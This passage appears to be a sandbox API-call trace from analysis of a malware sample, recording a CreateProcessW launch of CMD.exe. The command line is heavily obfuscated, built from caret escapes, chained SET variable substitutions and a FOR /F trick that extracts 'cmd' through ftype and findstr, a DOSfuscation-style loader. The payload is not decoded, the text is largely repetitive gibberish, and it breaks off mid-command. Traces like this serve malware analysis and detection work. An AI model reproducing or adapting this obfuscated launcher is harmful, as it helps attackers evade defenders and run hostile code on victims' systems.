^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) ", bstrRight="T ^ ^?^$^_=^!^`^}^$^@:^p^BM^=^Q^!) , ) , , )& ( ,,,( , ,, (^s^ET ^ ^ ;^.^+=^!^?^$^_^:^(^=^7^!) ; ; ; ) , )&& (^S^e^t ^ ^ ^-^}=^!^;^.^+^:^a^K^=^=^!)& ( , , (^S^et ^ ^.^;^?=^!^-^}^:^h^e^i^=^j^!) ; ; ; )&& ( ; ; ; ( ; ; (S^e^T ^ ^ ^+^.^@^#=!^.^;^?^:^3^k^9^=^b^!) ,, , ) ,; , ; , ; ,)&& ( ; ; ( (^S^Et ^{^'^`^#=^!^+^.^@^#^:^4^=^w^!) , ) , )& ( , , (^s^E^t ^}^$^]^?=^!^{^'^`^#^:^H^=^4^!) ,, ,)& (^s^e^T ^{^,^.=^!^}^$^]^?^:^a^E^=^G^!)&&(^s^E^T ^ ^ ^ ^}^{=^!^{^,^.^:^1^=^(!)&( ( , (^S^e^T ^.^@^_#=!^}^{^:^T^F^=^h^!) ) ; )& ( (^S^E^t ^ ^ ^]^$^*^{=!^.^@^_^#^:^j^V^=^H^!) ; ; ; )&(^s^eT ^ ^#^-=^!^]^$^*^{^:Dn^=^1^!)&& ( , , ( , , (S^e^T ^.^$^+=^!^#^-^:^t^y^=^P^!) , ) )&&( ; ; ( , , (^s^e^t ^ ^+^,^\\=^!^.^$^+^:^q^vN^=N^!), , , ), ,,, , )& (,; , ;,(^S^e^t ^ ^ ^]^#=^!^+^,^\\^:^[^=^;^!) , )& ( , , ( ; ; (^Se^T ^_^`^@^#=^!^]^#^:^{^=^[^!) ; ; ) , )&(^S^e^t ^ ^ ^[^_=!^_^`^@^#^:^\\^=^{^!)&& (^s^e^t ^ ^ ^$^_^'^}=^!^[^_^:^3^=^U^!)& (^S^e^t ^\\^[,^#=^!^$^_^'^}^:^@=^$!)&& ( ; ( , (^s^e^t ^,^`=^!^\\^[^,^#^:^#^=^3^!), ) , ; , ; , )& ( , , (^S^e^t ^*^[^-^,=^!^,^`^:^`^=^y!) ; ; ; )&& , ^F^oR ; ; ; /^f ,\"delims=ULfr tokens= +1 \" ; , %^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,%^*^[^-^,% |%^g; ); , \"", pbstrResult=0x23d910 | out: pbstrResult=0x23d910) returned 0x0 [0095.152] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="CMD.Exe /c ^F^o^r ; /^f ;; \" tokens= +2 delims=FeH\" , %^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,%^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x23d890*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x23d870 | out: lpCommandLine="CMD.Exe /c ^F^o^r ; /^f ;; \" tokens= +2 delims=FeH\" , %^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,%^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ 